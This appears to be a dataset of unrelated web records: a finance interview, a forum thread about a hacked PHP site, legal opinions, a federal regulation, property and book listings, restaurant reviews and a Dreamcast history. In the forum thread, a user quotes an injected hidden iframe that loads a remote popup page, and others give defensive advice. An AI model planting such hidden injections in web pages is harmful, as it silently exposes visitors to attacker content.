text:
ICG chief targets third-party assets
Intermediate Capital Group has had a mixed financial crisis.
Under former chief executive Tom Attwood, the firm, which specialises in financing private equity deals through mezzanine loans, was among the first to voice fears of a credit crunch, warning in June 2007 that excess cash in the market had driven debt pricing to levels where there was no margin for error. But while the firm posted a £230m profit for the year to March 2008, it lost £73m the following year amid writedowns of about £273m – the first loss in its 20-year history.
Last July, London-listed ICG repaired its balance sheet with a £351m rights issue that was also aimed at raising capital for new deals, and extended the terms of £612m of debt. In March this year, it announced a top-level reshuffle, replacing Attwood with Christophe Evain, a 16-year veteran of the firm, and moved towards broader third-party fund management.
The firm aims to double assets under management over the next five years to avoid relying on expanding its balance sheet to fund growth.
A string of exits since December helped ICG return to profit in the year to March 2010, reporting net income of £82m. Sales included pharmaceutical distributor Marken; French care home group Medica and German publisher Springer Science+Business Media.
Third-party assets under management declined to £7.3bn at the end of March from £8.5bn the previous year. The firm has since closed an €843m ($1.1bn) recovery fund that will invest in European private equity deals with too much debt or those that need an injection of fresh capital. The fundraising attracted new investors, including two sovereign wealth funds and the firm's first US state pension fund investor.
ICG now has some €2bn of capital to invest, and is preparing to raise cash for its next European mezzanine fund.
Financial News spoke to Evain about the firm's trajectory during the financial crisis, its fundraising efforts and threats to recovery.
Financial News: Have you been satisfied with ICG's performance during the crisis? Christophe Evain: We have had a pretty good crisis so far. The portfolio's default rate has been significantly below that of the wider market, and we returned money to investors as soon as markets opened up. Our rights issue enabled us to extend debt repayments and to take advantage of opportunities immediately rather than wait for money to start flowing again. We also started raising money in the middle of the crisis, in October 2008, for a recovery fund that will focus on the dislocation of credit markets.
FN: What have been the highlights and low points? CE: The low point was between October 2008 and March 2009, when a number of our portfolio companies were severely affected by the crisis. For 12 months, most of our attention was focused on dealing with these problems. We put together a specialist team in the autumn of 2008 that focused purely on restructurings. The high point was when the exit markets reopened in December. We have since made several good exits, including Marken, medical equipment manufacturer Sebia and Taiwan Broadband Communications. The acquisition in January of a stake in patent and legal service group CPA Global was one of our most successful deals.
FN: Was it a disadvantage to be a public company? CE: Being public means everyone can see what you're doing. We communicate with our stakeholders on strategy, our objectives and where we see investment opportunities, and competitors have access to some of this information. But it gave us discipline on strategy, reporting and monitoring deals. It also provided access to the capital markets, which enabled us to raise money through a rights issue.
FN: Is this a good time to be a mezzanine investor? CE: The crisis will take a long time to work itself out. There are opportunities for investors that are cautious and patient. With slow economic growth, overleveraged buyouts facing large debt repayments will need to reduce their debt. There are good opportunities to invest in such companies.
FN: When does ICG plan to raise a new fund? CE: Our current €1.75bn European fund is two thirds invested, and we plan to raise a new fund soon. The fundraising market is very difficult, and limited partners are likely to be extremely demanding. But we have been constantly fundraising over the past three years.
FN: What has been your proudest achievement at ICG? CE: Driving the firm's geographical expansion. I set up ICG's first office in continental Europe, in France, as well as our New York and Asia-Pacific offices. That was exciting and scary, because no one knew about mezzanine finance in Asia. We are now the leading mezzanine investor in Asia-Pacific, including Australia.
FN: How do you typically spend your day? CE: My key duties are to think about ICG's strategy, to chair our investment committees and to manage relations with key stakeholders, such as private equity firms, banks and limited partners. I also deal with internal matters that arise from managing a business with 125 staff. During the crisis, most of my time was spent negotiating restructurings and considering the best strategies for investments. Frustratingly, I do not have time to get involved in originating or managing deals.
FN: What do you think is the biggest threat to recovery? CE: We cannot completely rule out a double-dip recession. I am concerned that European governments will have sought to tackle their deficit issues too early, which would have a negative impact on employment and consumer spending.
• Key facts
Founded: 1989
Third-party AuM: £7.3bn (€8.7bn)
Balance sheet investments: £2.7bn
Market capitalisation: £1.1bn
Offices: Amsterdam, Frankfurt, Hong Kong, London, Madrid, New York, Paris, Stockholm, Sydney


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subset: commoncrawl


text:
07-28-2005, 01:25 PM #1Junior Guru
- Join Date
- Mar 2001
- Posts
- 189
Bloodhound.Exploit.6 on my PHP file
Please help me here.
We received a few calls saying that they are getting a warning when they visit our websites. The warning from Norton is that the pages are infected with Bloodhound.exploit.6
I have checked Symantec and it says that this does not affect Linux!
I found the following code at the end of index.php page on the server:
<iframe src="http://184.108.40.206/pop/popup.php" frameborder="0" width="0" height="0" style="dispaly:none; visibility:hidden" ></iframe>
Please help me here, how can I locate and remove the problem.
My site is on a shared host server is Linux, running on CPanel
Any help is very much appreciated.
07-28-2005, 05:02 PM #2Web Hosting Master
- Join Date
- Aug 2003
- Location
- Pittsburgh
- Posts
- 3,479
Maybe some of the following will help:
The main issue is figuring out how the code is getting appended to those files. Try removing the code and refreshing the page. If it's still there, something is actively attaching the code to those pages as they get called. Maybe hiring a security/administration company is in your best interest. Good luck!
07-29-2005, 05:05 AM #3Disabled
- Join Date
- Dec 2004
- Posts
- 227
Disable dl in /usr/local/lib/php.ini (or wherever yours is)
enable_dl = Off
and restart apache after making this change - It looks like someone is loading that dynamically into your php.
07-29-2005, 12:21 PM #4Junior Guru
- Join Date
- Mar 2001
- Posts
- 189
I am on a shared host, therefore I don't have access to php.ini file.
My host replied me:
We have not had any other users having this problem.
Again you will need to have your scripts update so that users can not input code and post it to your page. Using a strip command you can do this.
The correct command will remove any form of code.
07-29-2005, 01:58 PM #5Telecommunication operator
- Join Date
- May 2002
- Location
- Moscow
- Posts
- 1,490
your host support is correct. most likely you have some bad coded script which have a security hole. many popular free scripts (and paid too) have a many vulnurabilities. if you have installed any free or paid scripts, check vulnurabilities warnings for approriated scripts and if you find anything, update your scripts to newest version and you will be safe (temporarily).
if you have own scripts, check where you allow to visitor, upload any code to your account. for example many beginners not check include function, or use GET requests without checking who send it and from where (not check referer) and so on.Rustelekom LLC Dedicated server since 2002, RIPE NCC member, LIR, AS51168


text:
Duck scares zoo tourist
Be the first to suggest a tag
A woman holds a leaf in front of a group of iguanas. Perhaps she is trying to get one of them to react and flare up. As she observes them, a duck sneaks up to her, jumps by her feet and quacks loudly. She runs away from it screaming. The duck watches with an evil grin.
uploaded 47 weeks ago by AFV in Rumble > Funny & Cute Animals, 6,491 views, Virality: 2%


text:
20 CFR 641.500 - Who is eligible to participate in the SCSEP?
Beta! The text on the eCFR tab represents the unofficial eCFR text at ecfr.gov.
§ 641.500 Who is eligible to participate in the SCSEP?
Anyone who is at least 55 years old, unemployed (as defined in § 641.140), and who is a member of a family with an income that is not more than 125 percent of the family income levels prepared by the Department of Health and Human Services and approved by OMB (Federal poverty guidelines) is eligible to participate in the SCSEP. (OAA § 518(a)(3), (8)). A person with a disability may be treated as a "family of one" for income eligibility determination purposes at the option of the applicant.


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September 22, 1987
513 N.E.2d 1173, 160 Ill. App. 3d 714, 112 Ill. Dec. 564 1987.IL.1408
Appeal from the Circuit Court of Du Page County; the Hon. John J. Bowman, Judge, presiding.
APPELLATE Judges:
JUSTICE REINHARD delivered the opinion of the court. LINDBERG, P.J., and UNVERZAGT, J., concur.
Defendant raises the following issue on appeal: whether the trial court properly accepted his guilty plea where the factual stipulation supporting that plea indicated the existence of a possible defense to murder consisting of the lesser offense of involuntary manslaughter.
Defendant was originally charged with three counts of murder (Ill. Rev. Stat. 1985, ch. 38, pars. 9-1(a)(1), (a)(2), (a)(3)) and one count of aggravated battery (Ill. Rev. Stat. 1985, ch. 38, par. 12-4(a)). On March 17, 1986, defendant pleaded guilty to murder as set forth in count III of the indictment, which stated that "he struck Justine Bosworth on
The factual stipulation on which the court based its acceptance of defendant's guilty plea established that the victim, defendant's seven-week-old daughter, was found dead in her crib on November 20, 1985. An autopsy revealed that the baby had died as a result of trauma to her skull. The stipulation also revealed that, in an interview with the police, defendant stated that he was angry when he went into the baby's room at 2:30 a.m. As he entered her room, he tripped on some clothes and fell into the baby's crib, causing her to cry even louder. He then told the police that this caused his anger to come out; and, with a backhanded motion and a closed fist, he hit the baby on top of her head and she quieted down. He stated that, in his mind, when he hit the baby he was hitting his wife. Following the interview, defendant made a written statement which contained these facts.
Upon hearing the stipulation, the trial Judge asked defendant if his attorney had advised him of and whether he understood "the other lesser type of penalties . . . a jury could reasonably find based on the facts." Following a five-minute recess, the defendant's attorney clarified that he had previously informed the defendant of other possible penalties and, during the recess, more fully explained the related sentencing. The court then accepted the defendant's guilty plea.
In an amended motion to withdraw his plea of guilty and vacate the sentence pursuant to Supreme Court Rule 604(d) (103 Ill. 2d R. 604(d)), defendant asserted generally that he was not advised pursuant to Rule 402, that he did not knowingly, intelligently, or voluntarily waive his right to a jury trial or understand the admonishments of Rule 402, that the sentence was improper, and that the plea was not voluntary because the police threatened his wife. The last allegation was subsequently withdrawn and, following arguments of counsel, the motion was denied.
Nevertheless, Supreme Court Rule 615(a) provides an exception to the rule of waiver where there has been plain error. The rule provides, in part, that "[plain] errors or defects affecting substantial rights may be noticed although they were not brought to the attention of the trial court." (107 Ill. 2d R. 615(a); see People v. Lucas (1981), 88 Ill. 2d 245, 250, 430 N.E.2d 1091.) The doctrine of plain error may be invoked in criminal cases where the evidence is closely balanced or where the error is of such magnitude that the accused is denied a fair trial. People v. Friesland (1985), 109 Ill. 2d 369, 375, 488 N.E.2d 261.
While the filing of a motion to withdraw a plea of guilty and vacate the judgment thereon is a prerequisite to the right of appeal (People v. Frey (1977), 67 Ill. 2d 77, 85-86, 364 N.E.2d 46; People v. Potts (1985), 136 Ill. App. 3d 1059, 1063-64, 484 N.E.2d 306), it has been held, however, that the plain error rule is applicable when there is a failure to raise an issue in a motion to withdraw a plea of guilty pursuant to Rule 604(d) (People v. Adkisson (1979), 78 Ill. App. 3d 923, 927, 397 N.E.2d 922, rev'd on other grounds (1980), 83 Ill. 2d 1, 413 N.E.2d 1238; see People v. Waldorf (1981), 94 Ill. App. 3d 976, 980-81, 419 N.E.2d 428). Assuming, without deciding, therefore, that the plain error rule may be applied to review the claimed error in the guilty plea proceeding here (cf. People v. Adkisson (1980), 83 Ill. 2d 1, 8, 413 N.E.2d 1238), we shall examine defendant's contention to determine from the record of the plea of guilty hearing whether an error affecting substantial rights was committed.
Defendant contends that his plea of guilty should not have been accepted by the trial court because the facts given to support the guilty plea establish that his acts were committed with a mental state which would establish involuntary manslaughter and not murder. Defendant characterizes the trial Judge's comment at the plea proceeding concerning whether his trial counsel had advised him of any lesser offenses with other penalties which a jury could find in a trial as "a doubt" whether the facts of the case constitute murder.
The pertinent part of the record of the plea proceeding which concerns the factual basis for the plea and the court's comments are as follows:
"MR. SUTTER [the prosecutor]:
. . . The autopsy began at approximately 4:00 o'clock in the afternoon. During the course of the autopsy, Dr. Barrett discovered that the infant's skull was fractured. He discovered two distinct areas of trauma to the head of the baby and concluded that the baby had died as a result of trauma to the skull, which resulted in the skull fracture and brain damage. . . .
At that time, while at the police station, Detective Cuny interviewed the Defendant, Phillip Bosworth. And during those conversations, the Defendant told Detective Cuny that he was angry when he came into the baby's room at approximately 2:30 in the morning on the 10th of November, 1985. And when he went into the room, he tripped over some clothes that had been on the floor, which caused him to fall against the baby's crib, shaking it, which, in turn, caused the baby to cry even louder.
He further told Detective Cuny that that caused his anger to come out. And with a back-handed motion and closed fist, he struck the baby on the top of her head. And she then quieted down, and he went back to bed. He also told Detective Cuny that when he hit the infant, that he was, in his mind, hitting his wife.
Also, the evidence would show that the Defendant made a written statement to the police at that time which contained essentially those same facts. All these events took place in Du Page County, Illinois.
MR. WOJCIK: Judge, we would stipulate to those facts.
THE COURT: Do you understand the penalties associated with the charge?, DEFENDANT BOSWORTH: I've only been told what I'm supposedly going to get today.
THE COURT: Do you understand the other penalties that are possible with respect to the charge in general? I'm not saying those particular penalties would all apply to the facts of your case. But you've discussed it with your attorney, Mr. Wojcik, the penalties?
MR. WOJCIK: As to the potential sentences?, DEFENDANT BOSWORTH: Oh, yes.
THE COURT: You understand the potential penalties you're confronted with by virtue of the charges against you?, DEFENDANT BOSWORTH: Yes.
THE COURT: Also -- you also discussed a lesser penalty with your client, Mr. Wojcik?
MR. WOJCIK: Judge, if --
THE COURT: Voluntary manslaughter?
MR. WOJCIK: Maybe we can have a short recess, I could. I spent most of my time discussing the murder case with him. If we could just pass it, we'll discuss the voluntary manslaughter.
THE COURT: I think, based on the facts, the Defendant should be advised of the other lesser type of penalties associated with the facts that are -- a jury could reasonably find based on the facts. So, how much time do you need?
MR. WOJCIK: If we could pass it, five minutes or so.
THE COURT: Okay.
MR. WOJCIK: Thank you, Judge.
(Whereupon, a recess was had, after which the following further proceedings were had herein:)
MR. WOJCIK: Judge, if I might just clarify the record, I did discuss the other -- in Discussions with the Defendant, Mr. Bosworth, I did discuss the other charges. I didn't specifically go into the terms of sentencing on that. That's why I asked the matter be passed.
THE COURT: All right. Did you fully go into the penalties on the lesser offenses?
MR. WOJCIK: Yes, Judge.
THE COURT: That could be imposed with respect to the facts?
THE COURT: And, Mr. Bosworth, do you understand the entire panorama, all the possible penalties that would be options in your case as based on the facts as stated by the State's Attorney's Office?, DEFENDANT BOSWORTH: Yes.
THE COURT: Do you have any questions that I could answer relative to your rights or consequences of pleading guilty to the charge of murder?, DEFENDANT BOSWORTH: Only the terms of my sentence. Will it be half served and half on parole? Will there be 20 in jail and 20 on the street?"
In People v. Barker (1980), 83 Ill. 2d 319, 415 N.E.2d 404, our supreme court set forth the applicable standards for determining the factual basis for a guilty plea as follows:
"Supreme Court Rule 402(c) requires that, before a court enters final judgment on a plea of guilty, there must be a determination that a factual basis exists for the plea. (73 Ill. 2d R. 402(c).) However, the quantum of proof necessary to establish a factual basis for the plea is less than that necessary to sustain a conviction after a full trial. [Citations.] All that is required to appear on the record is a basis from which the Judge could reasonably reach the Conclusion that the defendant actually committed the acts with the intent (if any) required to constitute the offense to which the defendant is pleading guilty. (People v. Hudson (1972), 7 Ill. App. 3d 800[,288 N.E.2d 533].) In evaluating the sufficiency of the factual basis to support a plea of guilty, a trial Judge is in much the same position and would apply similar standards as those used in determining the sufficiency of the State's evidence at trial to withstand a motion for a directed verdict of not guilty." (83 Ill. 2d 319, 327-28, 415 N.E.2d 404.)
The duty of the trial court to determine that there is a factual basis for the guilty plea pursuant to Rule 402(c) does not require the trial court to ferret out possible defenses for the defendant. People v. Smith (1983), 113 Ill. App. 3d 917, 924, 446 N.E.2d 876.
On this record, we conclude that the provisions of Rule 402(c) have been satisfied. The factual stipulation discloses that defendant knew that his acts created a strong probability of death or great bodily harm to his seven-week-old daughter and that those acts caused her death, justifying a factual basis for murder under section 9-1(a)(2) of the Criminal Code of 1961 (Ill. Rev. Stat. 1985, ch. 38, par. 9-1(a)(2)). (See People v. Bartall (1983), 98 Ill. 2d 294, 306-08, 456 N.E.2d 59.) Furthermore, we do not agree that the trial Judge's comments reflect a doubt concerning the factual basis for the plea. Rather, the court's questions to defendant following the factual basis for the guilty plea demonstrate the court's responsibility under Rule 402 to ensure that defendant understands the nature of the charge and the penalties prescribed by law for murder. It is further evident that the trial Judge mentioned other lesser offenses in the context of whether defendant wished to waive his right to a trial, not that there was an insufficient factual basis for the plea of guilty to murder. Thus, the doctrine of plain error is not invoked in this case.
For the foregoing reasons, the judgment of the circuit court of Du Page County is affirmed.
Judgment affirmed.
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150 Bee St Charleston SC 29401 MLS# 1012945
1012945 - Residential real estate
Charleston, SC
One of the two or three premiere penthouse condos in the building, but the only one with 3 bedrooms and three and a half bathrooms. With a large balcony across the entire south face of the building, this unit with a 20 foot ceiling in the living area has spectacular views of the Ashley River and marinas. Top-of-the-line finishes include stunning stained concrete flooring in the living areas, granite counters in the kitchen and bathrooms, natural travertine stone throughout the bathrooms, and GE Profile Stainless Steel Appliances in the kitchen. Other finishes including frosted glass bowl sinks, contemporary stainless faucets and fixtures (ceiling fans, tract and pendant lighting) easily make this home stand out from the rest! The Lofts have a gated, secured, flood-controlled two-story parking garage with access to FOUR elevators! Other amenities include two HUGE courtyards with 4 gas grills that feature unbelievable trellises and more water views, a fitness center, a full-time property manager on site during office hours and a lounge that has plasma TVs, contemporary furniture and wireless internet. A fabulous location, across the street from the Ashley River Marina, next to the MUSC hospital complex and only minutes from the downtown Historic District, this home is ideal for convenience and an on-the-go lifestyle! The views are phenomenal, the interior spaces amazingly expansive and the finishes top-of-the-line. Two private parking spaces are included. Seeing this penthouse is not to be missed!
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Phone: 613-214-9338 Email: Email Landlord/Agent Features Utilities included Balcony Pets permitted Pool Map Street View Amenity Map Description The Algonquin and Laurentian are located in a well-established family neighbourhood. These buildings offer spacious split-level, two bedroom apartments with parquet floors or carpet, storage space, and a patio or balcony.
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De Groote Witte Arend very nice place. Delicacy Belgium food, tasty Belgium beer and friendly service. Good place for lunch and dinner. Perfect location and good atmosphere inside.
We were excited to have dinner here, due to raving reviews on this website. It was very busy on Friday, but they we're very accommodating in finding us a table. We had beef stew and chicken, but we both left disappointed. The stew was alright - the meat was tender, but had no flavour. My partner only got 4 tiny...
It was too cold for the courtyard in November but it was a pleasure to be inside this bar for an evening meal. The menu was perhaps a little limited but featured some excellent authentic Flemish dishes. As ever there was a fine range of beers available.
A definite place to visit for either a beer or a meal.
One of the reasons for spending a few days in Antwerp was to sample some Belgian beers and of the bars we tried this was the best. A good and varied selection of bottled beers and decent ones on draught, all supped in comfortable surroundings and a delightfully unpretentious space. The service was diligent and helpful and whilst we didn't...
The beer selection was great, and we enjoyed everything we ate. I still dream of the cheese croquettes. We actually came back the second night in hopes of more cheese croquettes but the kitchen had closed. Both nights the service was good, and we really appreciated our waiter's dry sense of humor.
If you like an historic atmosphere with typical flemish dishes, you're @ the right place. reservation in the weekend is recommended.
Central location, excellent service, charming atmosphere, really nice quiet room with very accommodating staff. Vanja had the traditional Antwerp Stoemp: a potato mash with vegetables and ham with a sour bite. It was tasty. Wouldn't have it again, but a good experience I had the tomato meatball soup. That was outstanding. I asked for a taste of the fillet d'anvers...
De Groote Witte Arend is in the old centre of Antwerp. The inside of the restaurant is rather plain and functional, but you can eat on old wooden tables in a lovely atmospheric courtyard. There is a reasonable selection of beers and the menu, although limited has some very good Flemish dishes. Reasonably priced and good value
This is an old building situated quite close to the Groenplaats, the major public transport hub of the old city centre. I am lead to believe that the building was a former convent and still has the chapel that can be viewed. The restaurant surrounds a courtyard which if the Sun is shining is a Sun trap, where temperatures can...
Here, it is so good, to take a moment to rest, to take a lunch, to meet friends to drink a very good Arend beer! we had a very good lunch, and the waiters are very friendly too. this is a place, where you always return, a very good place to be!
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Political Nativism in the State of Maryland 1830-1860
1928 · Washington DC
by McConville, Sister Mary St. Patrick
Washington DC: The Catholic University of America, 1928. Paperback. Very Good. Paperback. 8vo. Very good in grey paper wrappers with black title to front wrapper. Marker and pen marking to top corner of title page. Minor browning to edges of wraps and to spine. Interior is clean and bright. Bibliography, 133 pages. MD/070716. (Inventory #: 29562)


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April 19, 2007
RE: CONSULT URBAN RENEWAL DEV. CORP.v.T.R. ARNOLD & ASSOC., INC.
Dear Litigants:
This matter comes before the Court on Defendant's motion for summary judgment pursuant to Fed. R. Civ. P. R. 56. Oral arguments were held on April 5, 2007. For the reasons set forth below, Defendant's motion is DENIED at this time.
Plaintiff Consult Urban Renewal Development Corporation was the construction manager for a housing complex for low-income seniors in New Jersey (the "Project"). (Cocoziello Decl. 1.) In connection with the Project, Plaintiff entered into a contract with DeLuxe Building Systems ("DeLuxe") in 1998, whereby DeLuxe agreed to manufacture, deliver, and install modular prefabricated buildings for the Project (the "Project Contract"). (Id.) In New Jersey, modular building units manufactured outside of the state, but erected within the state, are subject to certain regulations including inspection and labeling by an approved third-party inspecting agency. See generally N.J.A.C § 5.23-4A-10. As DeLuxe is a Pennsylvania corporation with its manufacturing plant located in Pennsylvania, the Project Contract specified that DeLuxe would maintain a relationship with an independent third-party inspecting agency in accordance with applicable law. (Cocoziello Decl. Ex. A.)
To fulfill its inspection obligations under the Project Contract, DeLuxe engaged Defendant T.R. Arnold & Associates, an Indiana corporation, to perform inspection services pursuant to a pre-existing contract. (Def.'s Br. 3-4; Tanger Certification 1-2; Pl.'s Br. 3-4.) In 1980, Defendant had contracted with DeLuxe to be retained as a third-party inspecting agency so that DeLuxe could fulfill statutory and regulatory requirements for the sale and distribution of modular building units (the "Inspection Contract"). (Def.'s Br. 3; Wapner Decl. Ex. A.) Pursuant to this retention agreement, Defendant performed various review services for DeLuxe over the years, including the inspection and labeling of the Project units. (Def.'s Br. 3; Cocoziello Decl. Ex.B.)
After delivery of the prefabricated modular units to the Project site, Plaintiff informed DeLuxe that the units were not acceptable, because they did not conform to Plaintiff's specifications and had suffered water damage. (Def.'s Br. 3-4.) DeLuxe refused to replace or repair the units. (Id.) Plaintiff and DeLuxe took their dispute to an arbitration panel. (Id.) The panel awarded both Plaintiff and DeLuxe damages, but determined that there was no prevailing party within the meaning of the Project Contract. (Cocoziello Decl. Ex. D.) On February 22, 2006, Plaintiff filed this suit against Defendant in New Jersey state court. (Compl. 7.) Defendant timely removed the case based upon diversity jurisdiction, and Defendant's motion for summary judgment is now before the Court.
The complaint states two claims against Defendant: (1) breach of contract under a third-party beneficiary theory, and (2) negligence. (Compl. 7-8.) In its summary judgment motion, Defendant argues that: (1) Plaintiff is not an intended third-party beneficiary; (2) even if the Court determines that Plaintiff is an intended third-party beneficiary, the Inspection Contract's indemnity clause bars this action; and (3) Plaintiff's negligence claim is barred, because Plaintiff failed to file an Affidavit of Merit as required under New Jersey law. (Def.'s Br. 1-2; Def.'s Reply Br. 2.) These arguments are addressed below.
A. Summary Judgment Standard
Summary judgment eliminates unfounded claims without resorting to a costly and lengthy trial. Celotex Corp. v. Catrett, 477 U.S. 317, 327 (1986). However, a court should grant summary judgment only "if the pleadings, depositions, answers to interrogatories, and admissions on file, together with the affidavits, if any, show that there is no genuine issue as to any material fact and that the moving party is entitled to judgment as a matter of law." Fed. R. Civ. P. 56(c). The burden of showing that no genuine issue of material fact exists rests initially on the moving party. Celotex, 477 U.S. at 323. A litigant may discharge this burden by exposing "the absence of evidence to support the nonmoving party's case." Id. at 325. In evaluating a summary judgment motion, a court must view all evidence in the light most favorable to the nonmoving party. Matsushita Elec. Indus. Co., Ltd. v. Zenith Radio Corp., 475 U.S. 574, 587 (1986); Goodman v. Mead Johnson & Co., 534 F.2d 566, 573 (3d Cir. 1976).
Once the moving party has made a properly supported motion for summary judgment, the burden shifts to the nonmoving party to "set forth specific facts showing that there is a genuine issue for trial." Fed. R. Civ. P. 56(e); Anderson v. Liberty Lobby, Inc., 477 U.S. 242, 247-48 (1986). The substantive law determines which facts are material. Id. at 248. "Only disputes over facts that might affect the outcome of the suit under the governing law will properly preclude the entry of summary judgment." Id. No issue for trial exists unless the nonmoving party can demonstrate sufficient evidence favoring it such that a reasonable jury could return a verdict in that party's favor. Id. at 249.
B. Applicable State Law
As an initial matter, the Court must determine which state's substantive law applies. Both parties agree that either New Jersey or Pennsylvania law governs. (Def.'s Reply Br. 3; Pl.'s Br. 14.) As there are slight but perceptible differences between the states in determining third-party beneficiary status,*fn1 a "flexible governmental interest analysis" must be undertaken to determine the applicable state law. See Erny v. Merola, 171 N.J. 86 (2002). As the purpose of the Inspection Contract was to comply with New Jersey law, New Jersey's governmental interest in the safe construction of buildings within its jurisdiction trumps other states' interest in assuring that their residents are adequately compensated. See Woessner v. Air Liquide Inc., 242 F.3d 469, 473-474 (3d Cir. 2001). Therefore, New Jersey law is the appropriate governing law.
C. Breach of Contract Claim
1. Third-Party Beneficiary
In New Jersey, the intent of the contracting parties is the critical issue in determining whether a third party is a beneficiary with contractual standing. See Broadway Maintenance Corp. v. Rutgers, 90 N.J. 253, 259-60 (1982). If there is no intent to recognize a right to performance in the third party, it is merely an incidental beneficiary with no contractual standing. Id. at 259. The parties may expressly contract to include or exclude any potential third-party beneficiaries. Id. at 260.
In this case, the Inspection Contract does not expressly exclude third-party beneficiaries. It simply provides:
Arnold agrees to review designs, manufacturing processes and units designed by Manufacturer, from time to time by mutual agreement, . . .. The review services by Arnold are performed solely for the purpose of obtaining permission to sell and deliver such units in the United States and into specified states, and are not to be relied upon by Manufacturer or any other person, firm, or corporation, for any other purpose.
The plain language of the contract limits the scope of Defendant's review services. DeLuxe and other parties may rely on Defendant's services but only so long as such reliance is limited to the purpose of obtaining permission to sell and deliver units in certain states. This limitation in scope is not to be confused with a limitation on who may benefit from or may rely on Defendant's services. Thus, the Court declines Defendant's invitation to view such language, without more, as clearly excluding third-party beneficiaries. (Def.'s Br. 12.)
As the contract is silent on the exclusion of third-party beneficiaries, the Court must "examine the pertinent provisions in the agreement and the surrounding circumstances to ascertain that intent." Id. at 260. In support of its summary judgment motion, Defendant argues that two circumstances surrounding the contract evidence the intent of the parties to exclude third-party beneficiaries: (1) Plaintiff is not named in the contract, and (2) the Inspection Contract was entered into 18 years before the Project Contract.
Neither circumstance sufficiently evidences an express intent to exclude third-party beneficiaries. Although the fact that a third party is named in the contract may be evidence of the intention of the parties, the failure to identify a third party by name is not necessarily evidence of exclusion. See Broadway, 90 N.J. at 259-60 ("the real test is whether the contracting parties intended that a third party should receive a benefit which might be enforced in the courts; and the fact that such a benefit exists, or that the third party is named, is merely evidence of this intention"). Additionally, Defendant's argument that the time gap between the two contracts evidences an intent to exclude third-party beneficiaries is also unpersuasive. The Inspection Contract was a retention agreement that would be incorporated into any future "agreements, oral or written, express or implied" for services provided by Defendant. This particular arrangement allowed DeLuxe to engage Defendant's inspection services without entering into formal separate contracts for each new project undertaken by DeLuxe. The Inspection Contract, although preceding the Project Contract by 18 years, was the platform for engaging Defendant's inspection services in order to fulfill the requirements of the Project Contract. As such, the significant lapse of time between the Inspection Contract and the Project Contract is of no consequence in determining whether the parties contemplated that customers, like Plaintiff, should benefit from the contract. Thus, Defendant has not properly supported its contention that the circumstances surrounding the Inspection Contract evidence an intent to exclude third-party beneficiaries.*fn2
Simply stated, it is the intent of the contracting parties that establishes the existence or non-existence of third-party beneficiaries. Defendant was to provide inspection services "to determine whether said units comply with applicable statutory and regulatory standards" for the purpose of "obtaining permission to sell and deliver such units in the United States and into specified states." Such standards for third-party inspections are required by New Jersey before the sale and delivery of prefabricated modular units in order to protect New Jersey consumers. In viewing the evidence most favorably for the non-moving party, the language of the Inspection Contract interpreted in light of these regulations supports Plaintiff's contention that as a consumer of prefabricated modular units, it is a member of a class of third-party beneficiaries contemplated under the Inspection Contract. As there are material facts still in dispute regarding the intent of the parties, summary judgment at this stage is premature and will be denied.
2. Indemnity
Defendant argues that the indemnity clause in the Inspection Contract unambiguously bars Plaintiff's suit.*fn3 (Def.'s Br. 13-14.) The Court finds Defendant's argument unpersuasive. The indemnity clause states: "[DeLuxe] agrees to indemnify and hold Arnold harmless from any and all claims for damages or injuries arising from or related to said units . . . as a material condition to review functions being performed by Arnold." (Wapner Decl. Ex. A.) Although a third-party beneficiary's rights are determined by the terms of the agreement,*fn4 a typical indemnification clause merely reimburses Defendant for the payment of any judgments and defense of suits, not from the suit itself.*fn5 Additionally, a "hold harmless" clause is equated with indemnification.*fn6 These concepts are distinct from a covenant or contract not to sue. As the clause specifies an agreement to reimburse rather than to preclude actions in court, the indemnity clause cannot logically bar suit for this action.
D. Negligence Claim
Plaintiff alleges that Defendant was negligent in performing its duties as a third-party inspecting agency under applicable law. (Compl. 7-8.) Defendant argues that Plaintiff's negligence claim cannot be sustained, because Plaintiff did not file an Affidavit of Merit as required under New Jersey law. (Def.'s Reply Br. 4-6.) N.J.S.A. 2A:53A-26-27 requires that in any action for damages resulting from an "alleged act of malpractice or negligence by a licensed person in his profession or occupation," the plaintiff must provide the defendant an Affidavit of Merit from another licensed professional stating how the defendant deviated from the appropriate standard of care. For the purposes of this statute, a "licensed person" is defined narrowly as certain listed professions including, but not limited to, an engineer. N.J.S.A. 2A:53A-26. Failure to meet this statutory requirement bars the cause of action, unless an exception applies. Id.
The pertinent test under this statute is whether "the claim's underlying factual allegations require proof of a deviation from the professional standard of care applicable to that specific profession." Couri v. Gardner, 173 N.J. 328, 340 (2002). In practical terms, the Court will consider whether Plaintiff's negligence claim requires expert testimony from one of the listed professions at trial.
Plaintiff argues that no expert engineering testimony is required because the complaint does not allege a deviation from a professional engineering standard of care. (Pl.'s Sur-Reply Br. 2-8.) Although Defendant employed an engineer to perform the inspections, as Defendant conceded at oral arguments, an engineer is not required under New Jersey law to perform the inspections. Plaintiff, therefore, concludes that a finding of negligence in this case does not require evaluations of a professional engineering standard of care. (Id. at 7-8.)
Plaintiff's counsel represented during oral arguments that Plaintiff does not intend to call an expert at trial to establish a professional engineering standard of care. Plaintiff, however, reserved the right to call experts whose professions fall outside the Affidavit of Merit provisions such as licensed building inspectors. The Court is satisfied that Plaintiff's allegations, to the extent that they do not require proof of a deviation from a standard of care in one of the listed professions, do not require an Affidavit of Merit.*fn7 Accordingly, at this stage, Defendant's motion for summary judgment with regards to Plaintiff's negligence claim is denied. The Court, however, will entertain motions for sanctions should Plaintiff attempt to call an expert at trial attesting to a professional standard of care of a licensed person as defined in N.J.S.A. 2A:53A-26.
After consideration of the parties' submissions and oral arguments, the Court finds that there are genuine issues of material fact in dispute at this stage. Accordingly, Defendant's motion for summary judgment is DENIED.
William J. Martini, U.S.D.J.
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At first, the console broke a record of having more than 200,000 per-orders before coming on the market. This eventually broke Sony Playstation's record. Dreamcast was seen as the system that was going to redeem Sega for their past failures. The only problem was that Sony had a trick up it's sleeve. In March of 2000, Sony released the long-awaited Playstation 2. Instantly, it became a success and Sega executives became anxious rather quickly. The Dreamcast tried to compete with the PlayStation 2, but sales began to take a hit.
In 2001, Sega officially decided that the system would be discontinued. Shockingly, the consoles were still sold in Japan up until 2007, due to the popularity there. Although the system had such a short life span, it received mainly positive reviews. BusinessWeek said that the Dreamcast was " The best product of 1999" and in 2001, Electronic Gaming Monthly gave the console a "9.2 out of 10".
